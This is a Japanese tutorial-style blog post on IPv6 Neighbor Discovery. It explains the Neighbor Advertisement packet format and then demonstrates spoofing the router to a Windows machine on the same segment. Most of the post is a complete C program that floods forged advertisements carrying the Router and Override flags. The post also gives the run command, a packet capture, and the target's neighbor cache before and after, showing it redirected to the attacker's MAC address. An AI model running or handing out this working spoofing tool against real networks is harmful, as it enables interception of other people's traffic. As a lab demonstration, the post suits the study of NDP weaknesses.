IPv6ネットワークプログラミング NDP(近隣広告)編


IPv4とIPv6には互換性がなくパケットの構造も全く違っています。
そのためIPv4で実現していた技術もIPv6では違った方法で実装することになります。

アドレス解決もその一つです。

IPv4ではIPアドレスからリンク層アドレスを解決する際にARPというプロトコルが使われていましたが、IPv6ではこれをICMPv6が担当し、IPv6でのアドレス解決は近隣探索と呼ばれています。

近隣探索の一つである「近隣広告」をうまい具合に使うと以下のようなことがIPv6ネットワークで実現できます。


そこで今回は同一セグメント内のマシンの近隣キャッシュを上書きしてルーターになりすましてみましょうか。

近隣広告のパケット構造


まずは近隣広告パケットについて見ていきましょう。

タイプ、コード、チェックサムがありICMPv6で共通のフィールドです。

  1. タイプ ICMPv6メッセージのタイプ 今回は136(近隣広告)
  2. コード ICMPv6メッセージのコード 今回は0
  3. チェックサム 擬似IPv6ヘッダーを含めた近隣広告パケット全体のチェックサム


IPv4の場合と違いIPv6ではICMPv6のチェックサムの計算対象に擬似IPv6ヘッダーを含める必要があります。
誤送信を防ぐためらしいです。
https://tools.ietf.org/html/rfc4443


近隣広告はそこから以下の値が続きます。

  1. フラグ(1byte) 
    近隣要請、ルーターからの送信、キャッシュ上書きなどを指定する
  2. IPv6アドレス(16byte) 
    広告したいHWアドレスに紐づくIPv6アドレス
  3. オプションタイプ(1byte) 
  4. オプション長(1byte) 
    オプションタイプ、オプション長、オプションデータを含めた8オクテット単位の長さ(この場合オプションタイプ+オプション長+Macアドレス=8のため1を指定)
  5. HWアドレス(6byte) 
    広告したいHWアドレス

検証に使うマシン


LinuxとWindowsを一台ずつ用意致しました。

Linux

IPv6 Address:     2001:db8:0:3:d04d:a915:964d:1535/64 
Hardware Address: 18:c2:bf:e9:b9:91

Windows(ターゲット)

IPv6 Address:     2001:db8:0:3:54c3:598b:9486:a75c/64 
Hardware Address: cc:30:80:20:84:6a

ルーター

IPv6 Address:     2001:db8:0:3::1
Hardware Address: 00-a0-de-65-aa-1c


今回Windowsの近隣キャッシュを上書きするパケットをLinuxから送信します。

そのためパケットのIPv6アドレスフィールドとHWアドレスフィールドに、
先述したLinuxマシンの値をそれぞれ指定します。

これでWindowsの近隣キャッシュの内容が指定した値で上書きされます。

検証


検証するためのソースコード

#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

// 諸々の情報
struct {
  char name[64];
  uint8_t hw_addr[6];
  int raw_soc;
  struct in6_addr src_addr;
  struct in6_addr dst_addr;
  uint8_t src_mac[6];
  uint8_t dst_mac[6];
} g_param;

// 近隣広告パケット
struct icmpv6_neiadv {
  struct nd_neighbor_advert na;
  struct nd_opt_hdr noh;
  uint8_t link_addr[6];
};

// 擬似IPv6ヘッダー
struct pseudo_ipv6 {
  struct in6_addr src_addr;
  struct in6_addr dst_addr;
  uint32_t len;
  uint8_t zero[3];
  uint8_t next;
};

// チェックサム計算
uint16_t checksum(uint16_t *data, int size) {
  uint32_t sum = 0;
  for (;size > 1; size -= 2) {
    sum += *data++;
    if (sum & 0x80000000) {
      sum = (sum >> 16) + (sum & 0xffff);
    }
  }

  if (size == 1) {
    uint8_t odd;
    odd = *(uint8_t *)data;
    sum += odd;
  }

  while(sum >> 16) {
    sum = (sum >> 16) + (sum & 0xffff);
  }

  return ~sum;
}

// macアドレスをいい具合に配列に
void set_mac_addr(uint8_t *addr, char *str) {
  addr[0] = strtoul(strtok(str, ":"), NULL, 16);
  for (int i=1; i<6; i++) {
    addr[i] = strtoul(strtok(NULL, ":"), NULL, 16);
  }
}

void send_packet(char *packet, int len) {
  if (send(g_param.raw_soc, packet, len, 0) == -1) {
    perror("send");
  }
}

// イーサネットヘッダー作成
void make_ether_header(struct ether_header *eh, uint8_t *src, uint8_t *dst, uint16_t type) {
    memcpy(eh->ether_shost, src, 6);
    memcpy(eh->ether_dhost, dst, 6);
    eh->ether_type = htons(type);
}

// ipv6ヘッダー作成
void make_ipv6_header(
  struct ip6_hdr *ip6,
  uint16_t len,
  uint8_t next,
  struct in6_addr *src,
  struct in6_addr *dst
)
{
  memset(ip6, 0, sizeof(struct ip6_hdr));
  ip6->ip6_vfc = 6<<4;
  ip6->ip6_plen = htons(len);
  ip6->ip6_nxt = next;
  ip6->ip6_hops = 255;
  memcpy(&(ip6->ip6_src), src, sizeof(struct in6_addr));
  memcpy(&(ip6->ip6_dst), dst, sizeof(struct in6_addr));
}

// 近隣広告パケット作成
void make_neiadv_header(
  struct icmpv6_neiadv *icmpv6,
  struct in6_addr *src_addr,
  struct in6_addr *dst_addr,
  uint8_t *hw_addr
)
{
  memset(icmpv6, 0, sizeof(struct icmpv6_neiadv));
  icmpv6->na.nd_na_type = ND_NEIGHBOR_ADVERT;
  icmpv6->na.nd_na_code = 0;
  icmpv6->na.nd_na_cksum = 0;
  // フラグ ルーターが送信 キャッシュを上書きしてください
  icmpv6->na.nd_na_flags_reserved = ND_NA_FLAG_OVERRIDE|ND_NA_FLAG_ROUTER;
  memcpy(&(icmpv6->na.nd_na_target), src_addr, sizeof(struct in6_addr));

  // オプション
  icmpv6->noh.nd_opt_type = ND_OPT_TARGET_LINKADDR;
  icmpv6->noh.nd_opt_len = 1;
  memcpy(icmpv6->link_addr, hw_addr, 6);

  // 擬似IPヘッダもチェックサムの計算対象になっているみたい
  struct pseudo_ipv6 pipv6;
  memset(&pipv6, 0, sizeof(struct pseudo_ipv6));
  memcpy(&(pipv6.src_addr), src_addr, sizeof(struct in6_addr));
  memcpy(&(pipv6.dst_addr), dst_addr, sizeof(struct in6_addr));
  pipv6.len = htonl(sizeof(struct icmpv6_neiadv));
  pipv6.next = IPPROTO_ICMPV6;

  uint plen = sizeof(struct pseudo_ipv6)+sizeof(struct icmpv6_neiadv);
  char packet[plen];
  memcpy(packet, &pipv6, sizeof(struct pseudo_ipv6));
  memcpy(&packet[sizeof(struct pseudo_ipv6)], icmpv6, sizeof(struct icmpv6_neiadv));

  icmpv6->na.nd_na_cksum = checksum( (uint16_t *)packet, plen );

}

// パケットを送り続ける
void send_process() {
  int ehlen = sizeof(struct ether_header);
  int iplen = sizeof(struct ip6_hdr);
  int icmplen = sizeof(struct icmpv6_neiadv);
  char packet[ehlen+iplen+icmplen];
  memset(packet, '\0', sizeof(packet));

  make_ether_header((struct ether_header *)packet, g_param.src_mac, g_param.dst_mac, ETHERTYPE_IPV6);

  make_ipv6_header(
    (struct ip6_hdr *)&packet[ehlen],
    icmplen,
    IPPROTO_ICMPV6,
    &(g_param.src_addr),
    &(g_param.dst_addr)
  );

  make_neiadv_header(
    (struct icmpv6_neiadv *)&packet[ehlen+iplen],
    &(g_param.src_addr),
    &(g_param.dst_addr),
    g_param.src_mac
  );

  printf("Sending Neighbor Advertisement Packet...\n");
  for (;;) {
    send_packet(packet, sizeof(packet));
    sleep(1);
  }
}

// ソケット作成
// 一応イーサネットまで受信
int make_socket(char *device)
{
  int soc;
  struct sockaddr sa;

  struct sockaddr_ll ll;
  struct ifreq ir;

  if ((soc = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) {
    perror("socket");
    return -1;
  }

  snprintf(ir.ifr_name, sizeof(ir.ifr_name), "%s", device);
  if (ioctl(soc, SIOCGIFINDEX, &ir) < 0 ){
    perror("ioctl");
    return -1;
  }

  ll.sll_family = PF_PACKET;
  ll.sll_protocol = htons(ETH_P_ALL);
  ll.sll_ifindex = ir.ifr_ifindex;

  if (bind(soc, (struct sockaddr *)&ll, sizeof(ll)) < 0 ) {
    perror("bind");
    return -1;
  }

  if (ioctl(soc, SIOCGIFHWADDR, &ir) < 0) {
    printf("SIOCGIFHWADDR\n");
    perror("ioctl");
    close(soc);
    return -1;
  }

  uint8_t *p = (uint8_t *)&ir.ifr_addr.sa_data;
  memcpy(g_param.hw_addr, p, 6);

  return soc;
}

// 引数にインターフェース名 リンク層アドレス IPアドレス
int main(int argc, char *argv[])
{
  int soc;
  if (argc < 5) {
    printf("[Error]: Args [device] [Source IPV6 Address] [Destination IPV6 Address] [Source HardWare Address] [Destination Hardware Address]\n");
    exit(0);
  }

  memcpy(g_param.name, argv[1], strlen(argv[1]));
  if ((g_param.raw_soc = make_socket(g_param.name)) == -1) {
    printf("[Error] failed make recv_socket\n");
    exit(0);
  }

  inet_pton(AF_INET6, argv[2], &g_param.src_addr);
  inet_pton(AF_INET6, argv[3], &g_param.dst_addr);

  set_mac_addr(g_param.src_mac, argv[4]);
  set_mac_addr(g_param.dst_mac, argv[5]);
  send_process();

  return 0;
}


だらだらと長いソースコードですが、重要な部分はICMPv6パケットの作成部分かと思います。


まずターゲットの近隣情報を確認します。

netsh interface ipv6 show neigh

インターフェイス 12: イーサネット


インターネット アドレス                        物理アドレス       種類
--------------------------------------------  -----------------  -----------
2001:db8:0:3::1                               00-a0-de-65-aa-1c  到達可能 (ルーター)


プログラムを動かします。

sudo ./NeiAdv enx18c2bfe9b991 2001:db8:0:3::1 2001:db8:0:3:54c3:598b:9486:a75c 18:c2:bf:e9:b9:91 cc:30:80:20:84:6a


以下のようなパケットがネットワークに蔓延します。

 Internet Protocol Version 6, Src: 2001:db8:0:3::1, Dst: 2001:db8:0:3:54c3:598b:9486:a75c
     0110 .... = Version: 6
     .... 0000 0000 .... .... .... .... .... = Traffic Class: 0x00 (DSCP: CS0, ECN: Not-ECT)
     .... .... .... 0000 0000 0000 0000 0000 = Flow Label: 0x00000
     Payload Length: 32
     Next Header: ICMPv6 (58)
     Hop Limit: 255
     Source: 2001:db8:0:3::1
     Destination: 2001:db8:0:3:54c3:598b:9486:a75c
 Internet Control Message Protocol v6
     Type: Neighbor Advertisement (136)
     Code: 0
     Checksum: 0xcffd [correct]
     [Checksum Status: Good]
     Flags: 0xa0000000, Router, Override
     Target Address: 2001:db8:0:3::1
     ICMPv6 Option (Target link-layer address : 18:c2:bf:e9:b9:91)


ターゲットの近隣キャッシュを再度確認します。

C:\Users\wndmi>netsh interface ipv6 show neigh

インターフェイス 12: イーサネット


インターネット アドレス                        物理アドレス       種類
--------------------------------------------  -----------------  -----------
2001:db8:0:3::1                               18-c2-bf-e9-b9-91  Stale (ルーター)


成功したようです。

たしかWindowsはpingなどのICMPメッセージは破棄していたような気がしましたが、ICMPv6は受け付けるようです。

ICMPv6には他にもさまざまな役割を持ったメッセージがあります。
IPv6ネットワークではそこそこ注目されるプロトコルなのではないでしょうか。

さようなら